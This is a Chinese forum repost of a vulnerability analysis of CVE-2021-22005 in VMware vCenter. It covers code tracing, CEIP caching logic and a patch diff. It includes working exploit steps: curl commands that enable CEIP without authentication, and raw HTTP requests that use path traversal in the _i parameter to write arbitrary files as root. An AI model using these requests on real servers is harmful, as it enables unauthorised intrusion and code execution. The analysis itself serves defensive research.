安全矩阵

 找回密码
 立即注册
搜索
查看: 2981|回复: 0

CVE-2021-22005-CEIP分析

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-24 11:02:18 | 显示全部楼层 |阅读模式
原文链接:CVE-2021-22005-CEIP分析

2021-09-21补丁修复了如下一系列漏洞,其中CVE-2021-22005评分最高,可getshell,网上也有该漏洞的poc,所以接下来也对该漏洞做进一步分析。
  1. CVE-2021-22005 vCenter Server 任意文件上传(CVSSv3评分9.8)
  2. CVE-2021-21991:vCenter Server 本地提权漏洞(CVSSv3评分8.8)
  3. CVE-2021-22006:vCenter Server 反向代理绕过漏洞(CVSSv3评分8.3)
  4. CVE-2021-22011:vCenter Server未经身份验证的 API 端点漏洞(CVSSv3评分8.1)
  5. CVE-2021-22015:vCenter Server 本地提权漏洞(CVSSv3评分7.8)
  6. CVE-2021-22012:vCenter Server 未经身份验证的 API 信息泄露漏洞(CVSSv3评分7.5)
  7. CVE-2021-22013:vCenter Server 路径遍历漏洞(CVSSv3评分7.5)
  8. CVE-2021-22016:vCenter Server 反射型 XSS 漏洞(CVSSv3评分7.5)
  9. CVE-2021-22017:vCenter Server rhttpproxy 绕过漏洞(CVSSv3评分7.3)
  10. CVE-2021-22014:vCenter Server 身份验证代码执行漏洞(CVSSv3评分7.2)
  11. CVE-2021-22018:vCenter Server 文件删除漏洞(CVSSv3评分6.5)
  12. CVE-2021-21992:vCenter Server XML 解析拒绝服务漏洞(CVSSv3评分6.5)
  13. CVE-2021-22007:vCenter Server 本地信息泄露漏洞(CVSSv3评分5.5)
  14. CVE-2021-22019:vCenter Server 拒绝服务漏洞(CVSSv3评分5.3)
  15. CVE-2021-22009:vCenter Server VAPI 拒绝服务漏洞(CVSSv3评分5.3)
  16. CVE-2021-22010:vCenter Server VPXD 拒绝服务漏洞(CVSSv3评分5.3)
  17. CVE-2021-22008:vCenter Server 信息泄露漏洞(CVSSv3评分5.3)
  18. CVE-2021-22020:vCenter Server Analytics 服务拒绝服务漏洞(CVSSv3评分5.0)
  19. CVE-2021-21993:vCenter Server SSRF 漏洞(CVSSv3评分4.3)
复制代码


参考任意文件上传
https://censys.io/blog/vmware-cv ... al-impact-analysis/
https://github.com/knownsec/pocs ... d_CVE-2021-20050.py
https://testbnull.medium.com/qui ... -22005-4337d5a817ee
https://mp.weixin.qq.com/s/gVsxziLqRQzb7QVOfyuBKw
https://mp.weixin.qq.com/s/Jwp4GWKRO4H_AopqJSrBWw
官方提供的测试脚本,算是一个漏洞扫描+临时补丁
https://kb.vmware.com/sfc/servle ... /0685G00000YTpbRQAT
根据提示漏洞接口应该如下
  1. rep = requests.post(self.url + "/analytics/telemetry/ph/api/hyper/send?_c&_i=test",
  2.                                 headers={"Content-Type": "application/json"}, data="lorem ipsum")
  3. /analytics/ph/api/dataapp/agent?_c=test&_i=1
  4. /analytics/ph/api/dataapp/agent?action=collect&_c=test&_i=1
  5. /analytics/telemetry/ph/api/hyper/send
  6. /analytics/ph/api/dataapp/agent
复制代码


vmware公开的poc

  1. curl -X POST "https://localhost/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json"
  2. # 实际接口
  3. curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json"
  4. # CEIP是否开启
  5. curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=test"
  6. # 请求
  7. curl -kv "https://192.168.111.11/analytics/telemetry/ph/api/hyper/send?_c=&_i=/stuff" -H "Content-Type: application/json" -d ""
  8. # 创建一个json文件
  9. /var/log/vmware/analytics/prod/_c_i/stuff.json
  10. # 目录遍历
  11. curl -kv "https://192.168.111.11/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../tmp/foo" -H "Content-Type: application/json" -d "contents here will be directly written to /tmp/foo.json as root"
  12. curl -X POST "http://localhost:15080/analytics/telemetry/ph/api/hyper/send?_c&_i=test" -d "Test_Workaround" -H "Content-Type: application/json" -v 2>&1 | grep HTTP
复制代码

影响范围
  1. vCenter Server 7.0 < 7.0 U2c
  2. vCenter Server 6.7 < 6.7 U3o
  3. Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
  4. Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
  5. 6.7 Windows 不受影响
复制代码


漏洞分析TelemetryLevelBasedTelemetryServiceWrapper请求入口根据poc提示接口/analytics/telemetry/ph/api/hyper/send,找到对应的类

  1. analytics-push-telemetry-server-6.7.0.jar#com.vmware.ph.phservice.push.telemetry.server.AsyncTelemetryController.class
复制代码


这个类是springboot的controller,找到漏洞URI,可以看到提交的两个参数_c和_i对应的是collectorId和collectorInstanceId

继续跟踪到TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry
TelemetryLevelBasedTelemetryServiceWrapper是在AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable类里调用,这个类是Runnable实现类,用于多线程调用,所以通过该类的run方法进一步跟踪到processTelemetry的。
生成一个Telemetrylevel对象,TelemetryLevel是一个枚举类型,这里会判断TelemetryLevel.OFF是否不等,继续看一下OFF是怎么设置的
  1. public enum TelemetryLevel {
  2.     OFF,
  3.     BASIC,
  4.     FULL;
  5.     private TelemetryLevel() {
  6.     }
  7. }
复制代码



调用堆栈
  1. processTelemetry:44, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
  2. run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
  3. call:511, Executors$RunnableAdapter (java.util.concurrent)
  4. run:266, FutureTask (java.util.concurrent)
  5. runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
  6. run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
  7. run:748, Thread (java.lang)
复制代码



ceipgetTelemetryLevel

  1. getTelemetryLevel:56, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
  2. processTelemetry:40, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
  3. run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
  4. call:511, Executors$RunnableAdapter (java.util.concurrent)
  5. run:266, FutureTask (java.util.concurrent)
  6. runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
  7. run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
  8. run:748, Thread (java.lang)、
复制代码



DefaultTelemetryLevelService

其实ceip是客户体验提升计划,不一定开启。点击加入开启后,其实对提交的_C是有要求的

如下_C为111返回还是off,所以参数有要求的

查看漏洞利用目录/var/log/vmware/analytics/prod下有一个json文件

其实是如此拼接成的,所以
_c + vSphere.vapi.6_7 + _i + 9D36C850-1612-4EC4-B8DD-50BA239A25BB.json
再次测试可发现返回FULL了

或者通过该接口请求测试是否正常,这个请求会生成ceip缓存,后续请求就不会再发送ceip到vmware了。
curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=vSphere.vapi.6_7"
这里再继续分析下getTelemetryLevel,他会先判断ceip是否开启,如果没开启,则直接返回OFF,如果为true,则进行判断。
这里有个变量this._collectorToTelemetryLevelCache来存储collectorAgent对象(基于_c和_i生成),如果缓存里有了,就不会再次发遥测请求,_collectorToTelemetryLevelCache在这里是SimpleTimeBasedCacheImpl类,内部实际存储collectorAgent是用的hashmap。


这里通过get获取key(即collectorAgent),所以看看hashCode怎么实现的。
其实可以看到和_collectorId和_collectorInstanceId都相关。
  1. public int hashCode() {
  2.         int hash = this._collectorId.hashCode();
  3.         if (this._collectorInstanceId != null) {
  4.             hash = hash * 31 + this._collectorInstanceId.hashCode();
  5.         }
  6.         return hash;
  7.     }
复制代码


做个测试,_c和_i,如下就是不同缓存
  1. CollectorAgent c1 = new CollectorAgent("vSphere.vapi.6_7", "c1");
  2. CollectorAgent c2 = new CollectorAgent("vSphere.vapi.6_7", "c2");
  3. this._collectorToTelemetryLevelCache.put(c1, telemetryLevel);
  4. this._collectorToTelemetryLevelCache.get(c2);
复制代码



getTelemetryLevelFromManifest
  1. getTelemetryLevelFromManifest:82, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
  2. getTelemetryLevel:69, DefaultTelemetryLevelService (com.vmware.ph.phservice.push.telemetry)
  3. processTelemetry:40, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
  4. run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
  5. call:511, Executors$RunnableAdapter (java.util.concurrent)
  6. run:266, FutureTask (java.util.concurrent)
  7. runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
  8. run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
  9. run:748, Thread (java.lang)
复制代码



那么再看看DefaultTelemetryLevelService#getTelemetryLevelFromManifest怎么发送遥测请求的,代码如下

manifestContentProvider.getManifestContent请求返回有以下几种情况
​​
  •         collectorId和collectorInstanceId随机,抛出异常,INVALID_COLLECTOR_ERROR,这里提示collectors ID不在白名单内

  •         collectorId为vSphere.vapi.6_7,抛出异常,GENERAL_ERROR,404

  •         再第一次请求后,如果修改参数_i(collectorInstanceId),后续二次请求都会报这个错


上面请求最终跟踪到如下位置com.vmware.ph.upload.rest.PhRestClientImpl#getManifest,GET请求


手动发送,和之前获取的确实一样。

有效请求


PS: 这里在处理返回数据,会调用json进行反序列化,转换成com.vmware.ph.model.exceptions.ServiceException


DefaultTelemetryLevelService#getTelemetryLevelFromManifest,我们看下抛出异常后再次调用getTelemetryLevelForFailedManifestRetrieval,如果异常是INVALID_COLLECTOR_ERROR,那么直接返回OFF,如果不是就返回FULL,defaultTelemetryLevel初始化的时候为FULL。
所以如果首次请求的collectorId不对,那么即时开了ceip也是无法利用成功,但第二次还是可以成功,所以网上一些分析文章collectorId随机也是可以用的,但如果之前没有发送过遥测请求,就会利用失败,所以建议collectorId还是设置一个有效的。

开启ceip
经过测试,开启CEIP的接口无认证要求,可未授权访问
curl -kv -X PUT "https://192.168.111.11/ui/ceip-ui/ctrl/ceip/status/true" -d "{}" -H "Content-Type: application/json"PS: 但上面这个测试如果系统启动后没有登录过,请求不会成功
调试发现,虽然接口请求不需要认证,但修改操作仍然需要session,只有在有人登录过,这个未授权请求才能生效。

该请求对应的类在./plugin-packages/telemetry/plugins/h5-ceip.war
com.vmware.vsphere.client.h5.ceip.controller.CeipController

还有其他两个接口
  1. GET /ui/ceip-ui/ctrl/ceip/status
  2. GET /ui/ceip-ui/ctrl/ceip/isAuthorized"
复制代码


LogTelemetryService所以看来CEIP没有比较好的方案开启了。
  1. processTelemetry:56, LogTelemetryService (com.vmware.ph.phservice.push.telemetry)
  2. processTelemetry:45, TelemetryLevelBasedTelemetryServiceWrapper (com.vmware.ph.phservice.push.telemetry)
  3. run:66, AsyncTelemetryServiceWrapper$TelemetryRequestProcessorRunnable (com.vmware.ph.phservice.push.telemetry.internal.impl)
  4. call:511, Executors$RunnableAdapter (java.util.concurrent)
  5. run:266, FutureTask (java.util.concurrent)
  6. runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
  7. run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
  8. run:748, Thread (java.lang)
复制代码



当ceip开启,继续跟踪到com/vmware/ph/phservice/push/telemetry/LogTelemetryService#processTelemetry,


日志目录是/var/log/vmware/analytics/prod

日志文件名则是,可以看到
​​
_c%1$s_i%2$s


继续往下就是日志记录,this._logger可以看到日志路径,而serializeToLogMessage(telemetryRequest)就是POST请求的body数据

那么当请求参数_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/foo
则拼接为/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json
但如果_cvSphere.vapi.6_7_i不存在,则会目录遍历失败,这个是linux的问题,所以必须先请求一次_c=vSphere.vapi.6_7&_i=/temp,log4j会创建目录,然后再请求上面URL,实现目录遍历。

PS: prod目录默认也是没有的,vcenter自身正常会创建这个prod目录,但ceip没开启之前,是没有的,所以建议也请求下正常的参数。
创建prod目录
  1. POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
  2. Host: 192.168.111.11
  3. Connection: close
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. User-Agent: Mozilla/5.0
  7. Cache-Control: max-age=0
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/json
  10. X-Deployment-Secret: abc
  11. Content-Length: 3
  12. {}
复制代码


创建_cvSphere.vapi.6_7_i目录
  1. POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/temp HTTP/1.1
  2. Host: 192.168.111.11
  3. Connection: close
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. User-Agent: Mozilla/5.0
  7. Cache-Control: max-age=0
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/json
  10. X-Deployment-Secret: abc
  11. Content-Length: 3
  12. {}
复制代码


由于后缀只能是json,所以无法直接写文件,那么可以写到一个可执行文件内容的路径,这个大家就自行发挥想象力找找linux上可执行的方法了。
  1. POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test HTTP/1.1
  2. Host: 192.168.111.11
  3. Connection: close
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. User-Agent: Mozilla/5.0
  7. Cache-Control: max-age=0
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/json
  10. X-Deployment-Secret: abc
  11. Content-Length: 4
  12. test
复制代码


整理思路
  •         AsyncTelemetryController是/analytics/telemetry/ph/api/hyper/send请求处理入口,接收_c和_i参数
  •         调用TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry 发起ceip遥测请求,,成功后进一步处理_c和_i
  •         processTelemetry里调用this._telemetryLevelService.getTelemetryLevel来判断ceip遥测请求是否正常,这里也会传入_c和_i,如果开启成功可获取一个FULL值,除了需要开启ceip,还会对vmware的一个API接口发送请求,,需要注意的一点,如果之前没发起遥测请求,则对_c参数有要求,必须是一个合法的值,如果已经请求过,后续因为有缓存,不会再请求,则可成功通过校验。
  •         如果ceip未开启,可通过/ui/ceip-ui/ctrl/ceip/status/true开启,但vcenter之前需要有人已经登录过一次,否则会出现接口未认证的报错。
  •         ceip请求成功后,processTelemetry接着调用LogTelemetryService#processTelemetry来解析_c和_i,log4j通过_c$s_i$s格式拼接日志路径,_i设置成如/../../../../../../tmp/test即可导致任意路径遍历写入文件,当_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test最终路径拼接如/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json,这里需要注意的是linux上目录遍历时需要遍历前的上级目录存在才可遍历。
验证返回201表示漏洞存在
  1. POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
  2. Host: 192.168.111.11
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
  4. Content-Length: 11
  5. Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  6. Content-Type: application/json
  7. Accept-Encoding: gzip, deflate
  8. Connection: close
  9. lorem ipsum
复制代码


第一步判断ceip
  1. # 修改ceip
  2. curl -kv -X PUT "https://192.168.111.11/ui/ceip-ui/ctrl/ceip/status/true" -d "{}" -H "Content-Type: application/json"
  3. # 判断ceip是否启动
  4. curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=vSphere.vapi.6_7"
复制代码




/var/log/vmware/analytics/prod创建 prod和_cvSphere.vapi.6_7_i
_i参数每次都要修改,因为文件如果被删除,就不会再次被创建了
  1. POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=temp HTTP/1.1
  2. Host: 192.168.111.11
  3. Connection: close
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. User-Agent: Mozilla/5.0
  7. Cache-Control: max-age=0
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/json
  10. X-Deployment-Secret: abc
  11. Content-Length: 3
  12. {}

  13. POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/temp HTTP/1.1
  14. Host: 192.168.111.11
  15. Connection: close
  16. Accept-Encoding: gzip, deflate
  17. Accept: */*
  18. User-Agent: Mozilla/5.0
  19. Cache-Control: max-age=0
  20. Upgrade-Insecure-Requests: 1
  21. Content-Type: application/json
  22. X-Deployment-Secret: abc
  23. Content-Length: 3
  24. {}
复制代码



写任意路径文件
  1. POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test HTTP/1.1
  2. Host: 192.168.111.11
  3. Connection: close
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. User-Agent: Mozilla/5.0
  7. Cache-Control: max-age=0
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/json
  10. X-Deployment-Secret: abc
  11. Content-Length: 4
  12. test
复制代码


补丁分析补丁包
VMware-analytics-6.7.0-18408195.x86_64.rpm,解压出来就是各种jar包和其他一些配置文件,对比jar包,定位到如下

对比补丁,补丁在AsyncTelemetryController#handleSendRequest里新增了一个条件判断

判断语句

  1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="247" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22(IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId)%20%26%26%20AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId))%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">(IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) && AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId))</code></pre>
  2. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.5/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>

  3. <p></p>
复制代码

IdFormatUtil.class在analytics-6.7.0.jar里
collectorInstanceId正则过滤[\\w-]{1,64} =[A-Za-z0-9_-]{1,64},如9D36C850-1612-4EC4-B8DD-50BA239A25BB,没法使用.和/,所以这个绕不过了
collectorId [a-zA-Z][\w-\.]{1,40}[a-zA-Z0-9], 如vSphere.vapi.6_7,也没法使用/,但没调用。

collectorId是用一个白名单,需要调试才能最终确定白名单内容,但根据上面的正则也能大致猜测,这里的白名单估计和之前ceip 遥测请求的API接口是一样的。
this._collectorIdWhitelist为在控制器初始化的传入


另外除了公开的漏洞利用点之外,AsyncTelemetryController还有两个私有类也有patch,都是Callable的实现类(即多线程),这里会检查collectorId

另一个和之前漏洞点判断是一样的。


那么是否可以找到其他没做过滤的telemetryService.processTelemetry调用点,在这之前其实还需要检查下processTelemetry内部是否还有patch。
这里调用的实现类是TelemetryLevelBasedTelemetryServiceWrapper,另一个相关的是LogTelemetryService
TelemetryLevelBasedTelemetryServiceWrapper在analytics-6.7.0.jar里,但对比了补丁,没发现直接的改动。
但有其他几处DataAppAgentId做了相同的过滤,这就涉及到另一个漏洞点了。
LogTelemetryService在同个包里,也没做修改。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 05:37 , Processed in 0.018523 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表